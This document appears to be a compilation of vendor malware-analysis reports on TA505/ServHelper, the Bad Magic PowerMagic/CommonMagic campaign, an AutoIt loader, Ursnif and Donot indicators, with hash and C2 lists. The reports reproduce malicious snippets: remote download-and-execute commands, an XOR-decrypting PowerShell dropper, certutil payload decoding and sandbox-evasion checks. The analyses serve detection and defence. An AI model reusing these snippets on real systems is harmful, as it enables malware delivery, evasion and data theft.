biteupdates[.]live/<COMPUTERNAME>~<USERNAME>~<VICTIM_ID>/orderme - biteupdates[.]live/<COMPUTERNAME>~<USERNAME>~<VICTIM_ID>/KdkdUe7KmmGFD - biteupdates[.]live/<COMPUTERNAME>~<USERNAME>~<VICTIM_ID>/acdfsgbvdghd - dataupdates[.]live/<COMPUTERNAME>~<USERNAME>~<VICTIM_ID>/DKixeXs44skdqqD - dataupdates[.]live/<COMPUTERNAME>~<USERNAME>~<VICTIM_ID>/BcX21DKixeXs44skdqqD ### Henos – February/March 2021 | SHA-1 | Filename | ESET Detection Name | |-------|----------|---------------------| | 468A04B358B780C9CC3174E107A8D898DDE4B6DE | Procurement Letter Feb 21.doc | Win32/Exploit.CVE-2017-11882.CP | | 9DD042FC83119A02AAB881EDB62C5EA3947BE63E | ctlm.dll | Win32/Spy.Donot.N | | 25825268868366A31FA73095B0C5D0B696CD45A2 | stpnaqs.pmt (jptvbh.exe) | Win32/TrojanDownloader.Donot.Z | | 540E7338725CBAA2F33966D5C1AE2C34552D4988 | henos.dll | Win32/Spy.Donot.G | | 526E5C25140F7A70BA9F643ADA55AE24939D10AE | plaapas.exe | Win32/Spy.Donot.B | | 89ED760D544CEFC6082A3649E8079EC87425FE66 | javatemp.exe | Win32/Spy.Donot.G | | 9CA5512906D43EB9E5D6319E3C3617182BBF5907 | pytemp.exe | Win32/Spy.Donot.A | **Download servers** - info.printerupdates[.]online/<USERNAME>/Xddv21SDsxDl - info.printerupdates[.]online/<COMPUTERNAME>~<USERNAME>/XddvInXdl - info.printerupdates[.]online/<COMPUTERNAME>~<USERNAME>/ZuDDey1eDXUl - info.printerupdates[.]online/<COMPUTERNAME>~<USERNAME>/Vyuib45xzlqn **Exfiltration server** - manage.biteupdates[.]site/<PC_NAME>/uload
# TA505 Targets the Americas in a New Campaign In late September 2020, researchers at Avira Protection Labs identified a Powershell script originating from the TA505 APT group. This new campaign specifically targets the Americas. In this blog, Anatoly Kazantsev, a specialist threat researcher at Avira Protection Labs, takes a deep dive into the recently found TA505 APT samples and analyzes the infection cycle. Over the last few years, TA505 has been identified as the group guilty of spreading malware by carrying out massive malicious spam campaigns. They are the threat actors behind the Dridex banking trojan and Locky, Philadelphia, and GlobeImposter ransomware families. Interestingly, TA505 continuously evolves their attacks looking to avoid detection. Slight alterations within their campaigns allow them to observe security vendors’ detection capabilities. ## Script Analysis We start our analysis of TA505’s new campaign using a sample with the SHA256 hash: `54acc99a1c3cd07cc6ece6f86795e5a19194957c11c634a5f0ea1fc52e3d08f3`. We observed that the first submission of the script dropper (`5e212c0596f2713b44141fa6f3d563cecd5cfdabcdd5b64b3d573b28012b9bed`) to VirusTotal was made from Canada. In 2019, we saw a similar campaign that was covered by other security companies such as Positive Technologies, Proofpoint, Trendmicro, and Blueliv. Since then, the payload versions of the APT group have changed to avoid detection. In August 2020, we observed cases submitted from Argentina. Below are the droppers that we observed in the previous campaign: At present, droppers are mostly submitted from the United States and Canada. A quick review of the dropper behavior: The main difference is the Powershell script content that is split up into `get-points.ps1` and `eula_part.*.txt`. Earlier, the Powershell script contained all the payload data (we observed “imports.ps1” previously). ### start.vbs file content: `uninst.exe` is renamed `wscript.exe` with a stripped digital signature – a standard Microsoft Windows utility to deal with Visual Basic scripts. ### get-points.ps1 Powershell script The original script is obfuscated and uses TripleDES in CBC mode to decrypt the next Powershell stage. After deobfuscation and decrypting, we can see the most exciting part – Base64 encoded strings which contain GZipped x64-binary payloads and configuration file. We will not dive deep into the script details in the article. Just describe the main steps that the script does: - Drop files on a disk: - `%SystemRoot%\Branding\mediasrv.png` - `%SystemRoot%\Branding\mediasvc.png` - `%SystemRoot%\Branding\wupsvc.jpg` - `%SystemRoot%\system32\rdpclip.exe` - `%SystemRoot%\system32\rfxvmt.dll` - `%Temp%\rpds.reg` - Escalate privileges using the SilentCleanup technique - Install, setup, and launch a new “TermService” service - Add Network Service (S-1-5-20) account to Administrators (S-1-5-32-544) group - Set up RDP TCP port from standard 3398 to 7201 - Add Windows Defender exclusions A quick overview of the overall process: First, `get-points.ps1` prepares the Windows registry with `rpds.reg`. After that, the script sets the ServiceDLL parameter to `mediasrv.png` full path and launches the TermService and RDP services. It’s a good indicator if some service in your system has a ServiceDLL path tuned to a PNG picture. `mediasrv.png` is not a picture. It’s an x64 service DLL packed with UPX. After exploring the DLL, we realized that this is an open-source RDP Wrapper Library. Its code is available on GitHub. But there are some interesting changes at the ServiceMain function – executable code which loads another DLL `mediasvc.png`. Strings were obfuscated with a simple XOR operation. Using the IDAPython script, we deobfuscated them and placed them as commentaries in the IDA Pro listing. File `wupsvc.jpg` is just a configuration file for the RDP Wrapper Library. Thus, using RDP Wrapper Library and TermService allows malware authors to provide persistence and additional RDP features. `rfxvmt.dll` is a standard Windows “Microsoft RemoteFX VM transport” library and is needed to solve an issue with Windows 10 Home. `rdpclip.exe` is also a Microsoft Windows utility (unsigned in this case), allowing users to copy/paste files and data between server and client. ### mediasvc.png library Now it’s time to focus on the primary payload – a backdoor called ServHelper. `mediasvc.png` is an x64 DLL written in Delphi and packed with UPX. DLL strings obfuscated using Vigenère cipher and were easily deobfuscated with IDAPython script. The backdoor has rich functionality, most of which has been described earlier by other security companies. For example, the backdoor allows SSH tunneling using OpenSSH-Win32. Command info gathers system information, including network connection speed. For this purpose, malware utilizes a legitimate Powershell script from GitHub. The encoded command contains: ``` IEX (New-Object Net.Webclient).downloadstring(“https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1”) ``` ### C&C communication Now, let’s take a look at the malware network communication. The malware uses HTTPS and obfuscates data to send in a POST request to `hxxps://enroter1984.cn/bif/b.php`. The `sysid` field contains obfuscated campaign date/ID, general system information, username, new RDP-user data, and random ID: `sep27;Windows 10 (Version 10.0, Build 18362, 64-bit Edition);x64;ivan.ivanov;nouser;winacc:updwin;op1JUhTe;31337`. In the previously publicly described campaigns, malware authors didn’t use obfuscation for these fields. Therefore, we can conclude that the threat actors regularly update their product to evade detections. It’s worth noting an exciting part of the `sysid` field in campaign ID (`sep27`): earlier, we saw samples with `aug18`, `aug5`. ## Conclusion We believe that the TA505 group is experimenting with different techniques and tools in various regions of the world. They are persistent, and in the future, we expect to see new campaigns. It’s quite clear from our analysis that malware authors have started using legitimate tools in their attacks, changing them from time to time. This makes such attacks challenging to handle. Hence, having the highest quality prevention and detection tools is essential to every company involved in cyber-security. Avira Protection Labs actively hunts, gathers threat intelligence, and monitors such new APT group campaigns to provide timely detection and protection. Integrating Avira’s anti-malware technologies and threat intelligence will help protect customers from such attacks. ## IOCs ### NSIS Droppers - `5e212c0596f2713b44141fa6f3d563cecd5cfdabcdd5b64b3d573b28012b9bed` - `12fcd1479e8a25ebc58c60b7d86f6d84925ebff076a2f4c0bd41becf6540346f` - `28f7b949d06fcd1b01e5667f338659b744451a48c027f1b4a46ae2bc26f8f155` - `40c997e8d799f10115ae08bc20f07222da288f73bfae47b0e228526d559c1237` - `647df9281a9416d4518c124f593e8172e588074b24b25c3b182e1715f36d6b2e` - `15327ea9f172f0a7b14cad80a28bcd05d639b8f1692293fb27dfd55e78b43c69` - `387151d711382e2ded59ac5cce82704f31b699a0a8edc3b0b9c43373f9102f60` - `aa1bd5df2313c90588d3b9ce7277ebd3d968b9adf2f8cefc63bddea2fb5d8a8d` - `c23af64faf1de87e21599b5b91c5cd8331274f0991df06ca28ea8b2af882b718` - `d945948b8d96cd7a869488d04b54c96a61ead473068fab77ed3b32ae38e152d0` - `db2957a62f4081b740d2044d5b8b20176e97fc4feee91bdb1f0d3b233f0cbde2` - `decab6a493554343028a55520afbdb9781738735a38610839c60b9b89f9e7bc3` - `e353951c92faae1f454f636e7f85cd8dd20fe1f3db2be3c0eb3563ea318b80ce` - `ec20503b8d898dbb5386abef1f04af9a673071d4d81b5dfaf9cce08df3f47501` ### Powershell scripts - `1b011dfa007006b77a16d4bf8a2c20fa3118c3e11f72ab8dec4ac09370b2598c` - `2ead362fd6e04c8bbe0a70ed3352308e4b5ec6146e98a433357390b25159a7b6` - `2fd3b4665cd9703d29c1d5962bfd5ffb50c6978acf99d14bfc63c9e0e0cc8c02` - `9bdc767ff72b642c010f6e2e25691797376bb93de2b4095351f295077872e02b` - `13c6282241ada0629abfc3f29964aed31026c394ef715b60038851d5f910ca82` - `72ef7a508a49bab23aa466e5dab80039d75a42a1ffb814321e961be490931642` - `74dd7249e1ef27e48d7b49ad8ec580c804412290b250fda5c7c565bf69c61ac7` - `90c07ffc76c4d06ac66729f5a62fa234b9a110be2a6c27a090a0774fd06f14e6` - `365a0d0de60b1a56980ac9a94221096d00c4b388fcf3cee6b0ba98dfdb289089` - `559e9c0238fb5802a3681821b065a4d6e38e1558cbb6b6c486043ef9a5be52ff` - `765d659de7ea750d1610e4df04cc2ec54a6728472eff583074900503d95c0e08` - `833ca3b9248ff9c2166e3c6f11bd5c2635f4b3da4a0780c6308a593840b4c6e2` - `4954f81bb16dd1b91648a0b45e8696f375001f13d64cbed0cc87c0f390cebf22` - `32828c0502f9d8b2f7fa8402e6f4f2f463d7b25636f5c87702898d1ffd0574c2` - `178008285b115dde8a6da7acf736b8bb2d4e88d5d36a632d704ecac10993ddd3` - `8024970091194df5681b2e6982b4d921f66c2c37f5fc7c822ede0239f0173078` - `a2e455c7d26ab747f699a718529b05818743280cdc9c6dded2c811127a6b32a3` - `a71c0e7f673ce5e786f6dfc10ad7f3f10e39bdce2a3d14102b1f91db82d527d6` - `b4e4692207c93aa12b220ffb5e63a249a48bb167a2f3aeff265e91c4b6336d3f` - `bc6700cc952c79281c432c16ad25d259cf9e586d212325059ae8ee7321732d59` - `de9f92deaa968ceebf9c42d4961388ee5e5fbf1c7fb9020968fe9f50afabcdc5` - `e36bbe8b14612735b39ee654f36b7bdbf71895d635699b02118ea318c375ecb1` - `e5389c68852629b7cf916867fdbdaf22675d2cf995debe6337a18a0124ed0854` ### URLs - `hxxp://93.157.63.48/pop.exe` - `hxxp://185.163.47.177/unsigned.exe` - `hxxp://95.216.212.35/googlemap.exe` - `hxxp://135.181.43.48/googlemap.exe` - `hxxp://135.181.87.102/googlemap.exe` - `hxxp://93.157.63.29/sec.exe` - `hxxp://93.157.63.29/scm.exe` - `hxxp://alana.jobs/wp-content/unsigned.exe` - `hxxp://93.157.62.61/sem.exe` - `hxxp://93.157.62.61/sema.exe` - `hxxp://jopanovigod.xyz/f8h7ghd8gd8/index.php` - `hxxp://bromide.xyz/ssh.zip` - `hxxp://sdsddgu.xyz/khkhkt` - `hxxps://canttouchtthis.cn/contact/b.php` - `asugahwy31.xyz` - `asfgu3ha84vzg.cn` - `hxxps://enroter1984.cn/bif/b.php` - `enroter1984.xyz` - `teahgiaj3ig.cn` - `neboley.cn`
# Bad Magic: New APT Found in the Area of Russo-Ukrainian Conflict **Authors** Leonid Bezvershenko Georgy Kucherin Igor Kuznetsov Administrative organizations were attacked with the PowerMagic backdoor and CommonMagic framework. Since the start of the Russo-Ukrainian conflict, Kaspersky researchers and the international community have identified a significant number of cyberattacks executed in a political and geopolitical context. We previously published an overview of cyber activities and the threat landscape related to the conflict between Russia and Ukraine and continue to monitor new threats in these regions. In October 2022, we identified an active infection of government, agriculture, and transportation organizations located in the Donetsk, Lugansk, and Crimea regions. Although the initial vector of compromise is unclear, the details of the next stage imply the use of spear phishing or similar methods. The victims navigated to a URL pointing to a ZIP archive hosted on a malicious web server. The archive contained two files: - A decoy document (we discovered PDF, XLSX, and DOCX versions) - A malicious LNK file with a double extension (e.g., .pdf.lnk) that leads to infection when opened In several cases, the contents of the decoy document were directly related to the name of the malicious LNK to trick the user into activating it. For example, one archive contained an LNK file named “Приказ Минфина ДНР № 176.pdf.lnk” (Ministry of Finance Decree No. 176), and the decoy document explicitly referenced it by name in the text. The ZIP files were downloaded from various locations hosted on two domains: webservice-srv[.]online and webservice-srv1[.]online. **Known attachment names, redacted to remove personal information:** | MD5 | Name | First Detection | | --- | --- | --- | | 0a95a985e6be0918fdb4bfabf0847b5a | новое отмена решений уик 288.zip | 2021-09-22 13:47 | | ecb7af5771f4fe36a3065dc4d5516d84 | внесение_изменений_в_отдельные_законодательные_акты_рф.zip | 2022-04-28 07:36 | | 765f45198cb8039079a28289eab761c5 | гражданин рб (redacted).zip | 2022-06-06 11:40 | | ebaf3c6818bfc619ca2876abd6979f6d | цик 3638.zip | 2022-08-05 08:39 | | 1032986517836a8b1f87db954722a33f | сз 14-1519 от 10.08.22.zip | 2022-08-12 10:21 | | 1de44e8da621cdeb62825d367693c75e | приказ минфина днр № 176.zip | 2022-09-23 08:10 | When the potential victim activates the LNK file included in the ZIP file, it triggers a chain of events that lead to the infection of the computer with a previously unseen malicious framework that we named CommonMagic. The malware and techniques used in this campaign are not particularly sophisticated but are effective, and the code has no direct relation to any known campaigns. **Infection Chain** The malicious LNK points to a remotely hosted malicious MSI file that is downloaded and started by the Windows Installer executable. 1. `%WINDIR%\System32\msiexec.exe /i http://185.166.217[.]184/CFVJKXIUPHESRHUSE4FHUREHUIFERAY97A4FXA/attachment.msi /quiet` The MSI file is effectively a dropper package, containing an encrypted next-stage payload (service_pack.dat), a dropper script (runservice_pack.vbs), and a decoy document that is supposed to be displayed to the victim. The encrypted payload and the decoy document are written to the folder named `%APPDATA%\WinEventCom`. The VBS dropper script is, in turn, a wrapper for launching an embedded PowerShell script that decrypts the next stage using a simple one-byte XOR, launches it, and deletes it from disk. **Decryption of service_pack.dat** ```powershell $inst="$env:APPDATA\WinEventCom\service_pack.dat"; if (!(Test-Path $inst)){ return; } $binst=[System.IO.File]::ReadAllBytes($inst); $xbinst=New-Object Byte[] $binst.Count; for ($i=0;$i-lt$binst.Count;$i++) { $xbinst[$i]=$binst[$i]-bxor0x13; $xbinst[$i]=$binst[$i]-bxor0x55; $xbinst[$i]=$binst[$i]-bxor0xFF; $xbinst[$i]=$binst[$i]-bxor0xFF; }; Try { [System.Text.Encoding]::ASCII.GetString($xbinst)|iex; } Catch {}; Start-Sleep 3; Remove-Item -Path $inst -Force ``` The next-stage script finalizes the installation: it opens the decoy document to display it to the user, writes two files named config and manutil.vbs to `%APPDATA%\WinEventCom`, and creates a Task Scheduler job named WindowsActiveXTaskTrigger to execute the `wscript.exe %APPDATA%\WinEventCom\manutil.vbs` command every day. **The PowerMagic Backdoor** The script manutil.vbs, which is dropped by the initial package, is a loader for a previously unknown backdoor written in PowerShell that we named PowerMagic. The main body of the backdoor is read from the file `%APPDATA%\WinEventCom\config` and decrypted with a simple XOR (key: 0x10). When started, the backdoor creates a mutex – WinEventCom. Then, it enters an infinite loop communicating with its C&C server, receiving commands and uploading results in response. It uses OneDrive and Dropbox folders as transport, and OAuth refresh tokens as credentials. Every minute the backdoor performs the following actions: 1. Modifies the heartbeat file located at `/$AppDir/$ClientDir/<machine UID>`. The contents of this file consist of the backdoor PID and a number incremented by one with each file modification. 2. Downloads commands that are stored as a file in the `/$AppDir/$ClientTaskDir` directory. 3. Executes every command as a PowerShell script. 4. Uploads the output of the executed PowerShell command to the cloud storage, placing it in the `/$AppDir/$ClientResultDir/<victim machine UUID>.<timestamp>` file. **The CommonMagic Framework** As it turned out, PowerMagic was not the only malicious toolkit used by the actor. All the victims of PowerMagic were also infected with a more complicated, previously unseen, modular malicious framework that we named CommonMagic. This framework was deployed after initial infection with the PowerShell backdoor, leading us to believe that CommonMagic is deployed via PowerMagic. The CommonMagic framework consists of several executable modules, all stored in the directory `C:\ProgramData\CommonCommand`. Modules start as standalone executable files and communicate via named pipes. There are dedicated modules for interaction with the C&C server, encryption and decryption of the C&C traffic, and various malicious actions. **Network Communication** The framework uses OneDrive remote folders as a transport. It utilizes the Microsoft Graph API using an OAuth refresh token embedded into the module binary for authentication. The RapidJSON library is used for parsing JSON objects returned by the Graph API. A dedicated heartbeat thread updates the remote file `<victim ID>/S/S.txt` every five minutes with the local timestamp of the victim. Then, in separate threads, the network communication module downloads new executable modules from the directory `<victim ID>/M` and uploads the results of their execution to the directory `<victim ID>/R`. The data exchanged with the operator via the OneDrive location is encrypted using the RC5Simple open-source library. By default, this library uses the seven-byte sequence “RC5SIMP” at the beginning of the encrypted sequence, but the developers of the backdoor changed it to “Hwo7X8p”. Encryption is implemented in a separate process, communicating over the pipes named `\\.\pipe\PipeMd` and `\\.\pipe\PipeCrDtMd`. **Plugins** So far, we have discovered two plugins implementing the malicious business logic. They are located in the directory `C:\ProgramData\CommonCommand\Other`. - **Screenshot (S.exe)** – takes screenshots every three seconds using the GDI API - **USB (U.exe)** – collects the contents of the files with the following extensions from connected USB devices: .doc, .docx, .xls, .xlsx, .rtf, .odt, .ods, .zip, .rar, .txt, .pdf. **CommonMagic Indicators of Compromise** **Lure Archives** - 0a95a985e6be0918fdb4bfabf0847b5a новое отмена решений уик 288.zip (new cancellation of resolution local election committee 288.zip) - ecb7af5771f4fe36a3065dc4d5516d84 внесение_изменений_в_отдельные_законодательные_акты_рф.zip (making changes to several russian federation laws.zip) - 765f45198cb8039079a28289eab761c5 гражданин рб (redacted).zip (citizen of republic of belarus (redacted).zip) - ebaf3c6818bfc619ca2876abd6979f6d цик 3638.zip (central election committee 3638.zip) - 1032986517836a8b1f87db954722a33f сз 14-1519 от 10.08.22.zip (memo 14-1519 dated 10.08.22.zip) - 1de44e8da621cdeb62825d367693c75e приказ минфина днр № 176.zip (dpr ministry of finance order #176.zip) **PowerMagic Installer** - fee3db5db8817e82b1af4cedafd2f346 attachment.msi **PowerMagic Dropper** - bec44b3194c78f6e858b1768c071c5db service_pack.dat **PowerMagic Loader** - 8c2f5e7432f1e6ad22002991772d589b manutil.vbs **PowerMagic Backdoor** - 1fe3a2502e330432f3cf37ca7acbffac **CommonMagic Loader** - ce8d77af445e3a7c7e56a6ea53af8c0d All.exe **CommonMagic Cryptography Module** - 9e19fe5c3cf3e81f347dd78cf3c2e0c2 Clean.exe **CommonMagic Network Communication Module** - 7c0e5627fd25c40374bc22035d3fadd8 Overall.exe **Distribution Servers** - webservice-srv[.]online - webservice-srv1[.]online - 185.166.217[.]184 **Keywords** - APT - Backdoor - Cloud services - CommonMagic - Malware Descriptions - PowerMagic - PowerShell - Spear phishing - Targeted attacks
# Cyber Threat Intelligence Analysis ## Malware Analysis The initial vector is a self-extracting archive (SFX). This is built from a project of alternate module: 7z sfx Modified Module (7zsfx). SFX module - Copyright (c) 2005-2016 Oleg Scherbakov 7-Zip archiver - Copyright (c) 1999-2015 Igor Pavlov This launches a shell instance for extracting the objects. Like the 7zip module, this uses an internal configuration for the actions to execute once the process extraction of the objects is done. This uses the hide methods to run in the background and doesn't overwrite the files if they already exist. ``` ;!@Install@!UTF-8! // control flag chains MiscFlags="1+2+16+64+128" // 2 - hides the extraction dialog completely (silent mode) GUIMode="2" // 1 - do not overwrite the existing files OverwriteMode="1" // hidcon: -> hide window to user RunProgram="hidcon:cmd /c echo SLsZudZK" RunProgram="hidcon:cmd /c cmd < sVqHm.com" ;!@InstallEnd@!Rar! ``` On the flags of Miscflags, we can see in the Russian archive of the project that can be chains for doing a stack process of the actions for automation for the errors and check actions. This launches the main script for initiating the rest of the chain of actions. The first part of the script uses a lot of kill switches already detected in July 2020 on similar AutoIt scripts. `aa_TouchMeNot` is a reference of a file used on MSE sandbox for analysis threat in the sandbox, that was presented for the first time at BlackHat 2018 and was first used by BitPaymer ransomware. ``` Set YAFtyhpbN=Q REM Check sandbox MSE if exist C:\aaa_TouchMeNot_.txt exit REM Killswitch Computername if %computername% == DESKTOP-%YAFtyhpbN%UO5%YAFtyhpbN%U33 exit REM DESKTOP-QO5QU33 ping -n 1 UKL.UVLJR if %errorlevel% == 0 exit if %computername% == NfZtFbPfH exit if %computername% == ELICZ exit if %computername% == MAIN exit ``` The final part of the script fixes the header of the AutoIt builder, writes on the disk, decodes from base64 the AutoIt payload to execute, and launches it with the AutoIt builder. ``` REM Fix header on the autoit builder <nul set /p ="MZ" > SearchIndexer.com REM Echo and write the PE type pZFFZxnbbPw.com >> SearchIndexer.com REM Remove the last script del pZFFZxnbbPw.com REM Decode from base 64 the autoit payload to execute certutil -decode sUs.com h REM Execute it SearchIndexer.com h ping 127.0.0.1 -n 30 ``` As obfuscation, the script uses a lot of while-switch loops to redirect the good section of code to push on each function. The first good thing to have in mind is to verify the functions that are used in checking the numbers of calls of references in their functions. Like forensic and malware analysis is a matter of instinct, this is a good idea; only four of twelve functions are used, the rest is junk code that makes high entropy and makes analysis harder. So only a third of more than 16,000 lines of the script is to deobfuscate, which is a better start. ``` If (Ping(NuEIwMq("74I89I100I112I77I120I109I110I74I97I97I100I119I46I74I89 1000) <> 0) Then Exit $qGRwbSPeJ = @AppDataDir & NuEIwMq("94I101I113I119I117I110I94I101I113I119I117I110I48I101I113I111 $ArlTLV = @AppDataDir & NuEIwMq("99I106I118I124I122I115I99I72I93I117I112I127I94I78",7) $RvZgoJpth = @AppDataDir & NuEIwMq("98I105I117I123I121I114I98I123I88I116I124I77I124I123I72I124I8 $aCYDDEjBZszBdg = @AppDataDir & NuEIwMq("101I108I120I126I124I117I101I90I79I111I82I77I127I82I89I125I93 ``` If Not FileExists($qGRwbSPeJ) Then If DirGetSize(@AppDataDir & NuEIwMq("96I103I115I121I119I112",4)) < 0 Then Global $JAYmBXZG = 118 Global $hnwsOohw = 96 While (6350-6349) Switch $JAYmBXZG Case 115 $dlffyVxJSrHGTz = SplashOff() $102 = 138 While $RxnOkVaHWvSKlBaAlOllMJswgWDFYJifUGyFKAYzXDzShlpomD > $102 $dlffyVxJSrHGTz &= ClipGet() WEnd $RhpdnNrMcyxjdGLYXChqJwlUuEKxGMMN = 5535 $JAYmBXZG = $JAYmBXZG + 1 Case 116 $REJvBWHgZYXtFnk = IsAdmin() $88 = 86 While $JuQegpUrJuJzHmfPQmuXDEoyDGiGNfwhBktUwSlHKGMxjgHmIigy > $88 $REJvBWHgZYXtFnk &= Exp(279) WEnd $cccOYfnhXSNSgZHXFqVVhhZVdaCFvfsfQ = IsDllStruct(136518) $JAYmBXZG = $JAYmBXZG + 1 Case 117 ``` Once the switch conditions are removed for getting the code, a second obfuscation is used in passing the strings to deobfuscate on the `NuEIwMq` function. The algorithm is based on offset and each integer value is converted to their corresponding ASCII value. ``` Func NuEIwMq($a, $b) $str = '' $tab = StringSplit($a, "I", 2) For $i = 0 To UBound($tab) - 1 $str &= Chrw($tab[$i] - $b) Next Return $str EndFunc ``` This splits the string into an array and uses offset for getting the final string in reading all the array. The following code in AutoIt can be easily converted to PowerShell for decoding the strings. ``` function Decode { param ( [string]$a, [int]$b ) $str = '' $tab= $a.Split("I") for ($i = 0; $i -lt $tab.Count; $i++) { $str += [char][int]($tab[$i] - $b) } return $str } ``` As the first action, the script checks if it is in the sandbox using a well-known method based on the difference between real time and time passed in the sandbox by `GetTickCount` method. ``` Opt("TrayIconHide", 1) Func Antisandbox_by_diff_time($val) $time1 = DllCall ("kernel32.dll", "long", "GetTickCount") $uFQgPxoxA = DllCall("kernel32.dll", "DWORD", "Sleep", "dword", $val) $time2 = DllCall ("kernel32.dll", "long", "GetTickCount") $dif_time = $time2[0] - $time1[0] If Not (($dif_time+500)>=$val and ($dif_time-500)<=$val) Then Exit EndIf EndFunc ``` A second wave of anti-analysis measures is performed by reusing the MSE sandbox flag killswitch domain and various names of computer names. ``` If (FileExists("C:\aaa_TouchMeNot.txt" Or @ComputerName = "NfZtFbPfH" Or @ComputerName = "tz" Or @ComputerName = "ELICZ" Or @ComputerName = "MAIN" Or @ComputerName = "DESKTOP-QO5QU33") Then Exit ``` By hunting, we can note that the AutoIt payload still has the same computer names and checks the MSE flag but uses different delimiters for the obfuscated method. The structures are the same and are based on useless functions for the previous reasons. ### TTPs The global TTPs used by this loader can be summarized in this process graphic (some samples have differences like DOS obfuscation). ### Hunting Firstly, we have observed that this seems to use the same AutoIt builder to run the AutoIt script. By their hash, we can note two parts on the result. The first part is used on a malicious MSI file to run the AutoIt script with the builder only as a fake installer (early June). This doesn't have the same TTPs as this loader. The second part has exactly the same TTPs and has just some additional obfuscation methods (Early July). By comparing each case, we can notice that the structure is the same with some differences, and we can see each part of the code. ### Data Extraction Many RATs and stealers have been found on this loader. The attacker uses `NtQuerySystemInformation` for getting a list of all handles open on the system for performing KnownDlls Cache Poisoning. ### Indicators Of Compromise (IOC) The IOC can be exported in JSON and CSV. ### References MITRE ATT&CK Matrix | Enterprise Tactics | Techniques Used | Ref URL | |---------------------|-----------------|---------| | Execution | Command-Line Interface | https://attack.mitre.org/techniques/T1059 | | | Execution through API | https://attack.mitre.org/techniques/T1106 | | | Execution through Module Load | https://attack.mitre.org/techniques/T1129 | | Persistence | Registry Run Keys / Startup Folder | https://attack.mitre.org/techniques/T1060 | | Defense | Deobfuscate/Decode | https://attack.mitre.org/techniques/T1140 | | Evasion | Files or Information | | | Credential Access | Credential Dumping | https://attack.mitre.org/techniques/T1003 | | | Credentials in Files | https://attack.mitre.org/techniques/T1081 | | Discovery | Query Registry | https://attack.mitre.org/techniques/T1012 | | | System Information Discovery | https://attack.mitre.org/techniques/T1082 | This can be exported as JSON format.
# Analysis: Ursnif - Spying on Your Data Since 2007 A game of cat and mouse has been going on ever since the first malware started circulating in the wild and the first antivirus appeared on the market. Although it may seem that brand new malware families appear on a daily basis, the truth looks somewhat different. A lot of the malware in circulation is a reiteration of something that has existed for quite some time. After all, malware development costs criminals time and money, and if they can lower the cost by reusing something preexisting, they will do so. In this analysis, we will take a look at just such a case. ## Infection Vector As in other previous cases, Ursnif can only be installed after initiating user interaction. The user is asked to open an email attachment that looks like an Office document. The document claims that it can only be displayed properly if macros are enabled by the users. Should the user comply, a malicious VB script will be dropped in the %user temp% folder. ### Looking at the Script: Analysis Prevention When running the macro, an encoded VB script is dropped. It is decoded automatically on execution and downloads the actual executable payload. The script contains obfuscated VB code with some garbage data added to confuse analysts. The executable payload is encrypted (1-byte XOR). The decryption is also done by the VB script. To further throw analysts off its track, each sample of Ursnif is packed differently. In addition to this, the latest versions also have a mechanism that determines whether the executable is running in a virtual machine. To check if this is the case, several system parameters are queried. In this case, the hardware information of the disk drive is queried using `SetupDiGetClassDevsA` to open a handle to device information set as well as two other APIs (`SetupDiEnumDeviceInfo` and `SetupDiGetDeviceRegistryPropertyA`). If Ursnif finds itself running inside a virtual machine, it will just terminate and take no further action. The purpose of this is to hinder analysis - most analysts tend to use virtual machines for their work. ## C2 Communications Like many types of malware, this one also communicates with a Command & Control (C2) server. In order to make it more difficult to pinpoint those, the domain names are often generated locally as opposed to hard-coding them. Those domain names are calculated using a Domain Generation Algorithm (DGA). What is remarkable about this malware exhibit is the way in which the domains are generated. As a 'data source' for its DGA, it uses some well-known websites and takes bits of text that are used to generate C2 domains. Fun fact: the authors appear to have a sense of humor, too, albeit a twisted one; among the texts used as data sources, there is one from Apple's website as well as RFC 1237 (Guidelines for OSI NSAP (Network Service Access Provider) Allocation in the Internet) from the IETF website. ## Data Exfiltration via HTTP POST Ursnif is capable of collecting a user’s system activity, including keystrokes, new connected devices, running applications, network traffic, and browser activity. This data is written to a compressed file (ZIP compression) and stored in the %user temp% folder. It is named as `{random 4 hexadecimal char}.bin`. The C2 URL contains an "/images" section, followed by a blob of encoded data as well as an extension. The encoded data blob contains additional information such as bot ID (unique identifier of the infected machine), the build version of the malware, the infected machine's OS version, its public IP, the name of the file about to be uploaded, the server ID, and the file type. This information is encrypted using AES 256 with an additional layer of base64 encoding. The locally stored and compressed data is then uploaded to the C2 server using HTTP POST. To raise less suspicion, slashes are added at random; special characters are substituted with their equivalent hex value with an added underscore as a prefix. The URL then looks more or less legitimate, in case the C2 communication shows up in a log file. ## Persistence, Hooking & Processing of External Commands Once installed, Ursnif attempts to inject its components into a running instance of `explorer.exe`. Should this fail, it will start a new instance of `svchost.exe` and inject its component into this process instead. Subsequently, it hooks the APIs of widely used browsers, in this case, Chrome, Opera, Internet Explorer, and Firefox. As soon as a user visits a predetermined banking or payment website, Ursnif performs a web inject to steal any login credentials. Monitored websites include (but are not limited to): - wells Fargo - bank of America - PayPal - Amazon - American Express - Chase - Discover - Citibank Ursnif is also known to be able to accept and execute external commands it receives from its server. Should Ursnif receive the command to perform the function `LOAD_UPDATE`, it will convert the command to CRC hash "0xA172B308". This value is then compared against a local list of hashed commands and will only be executed (using named pipes) if the hash value matches the local list. This is to ensure that analysts cannot just blindly feed a list of frequently used commands into a given payload to see which input triggers any reaction. The infected machine, in return, will report the request status as well as the execution time back to the C2 server. ## Conclusion As outlined earlier, criminals usually do not make attempts to reinvent the wheel. They stick with what has been tried and tested before rather than develop something new from the ground up. There are other examples for this as well, such as ransomware which is based on the "Hidden Tear" source code that was originally intended to be used for educational purposes. Ursnif has been around for quite a while now. The first version appeared in 2007. Back then it was a competitor of the ZEuS banking malware. This goes to show that, at least in the world of malware, "old" does not mean "dead" or "inactive," because Ursnif is quite the opposite. Its source code is available online. This makes it easier for online criminals to add new features that suit their own needs. The reliance on well-known tools is pretty common and even applies to modern APT scenarios. G DATA customers are protected from this on multiple levels. Besides having signatures, our BankGuard technology reliably detects any attempts by malware to hook into a browser to steal data. In addition to this, our Behavior Monitoring detects behavioral patterns which are associated with malicious software. ## IoC List **IOC** **Campaign with password-protected word document:** - Word document file: `62443895379ab934ad0621c8a2e084414862cd6daa4fa1d09370a6d3e5de3d9b` - Dropped VBS: `97d382d6eb5f2113dcbad702b43c648a34c9f2b516da27b0ce2cb2493e93171b` - Payload Gozi/URSNIF: `9db26083ffe1e1c83f47464a047e46e579787bea2ae945fb865f5cc588b86229` - Unpacked sample: `51f81493dd1c34c8909d65060b7e96e301e3ec38741660a1248fdc1203b543e8` - 32 bit DLL module: `668ac0ef90e0db8dd33020335f43505d1afce803b7e659d51e3be2bdcc933c5f` - 64 bit DLL 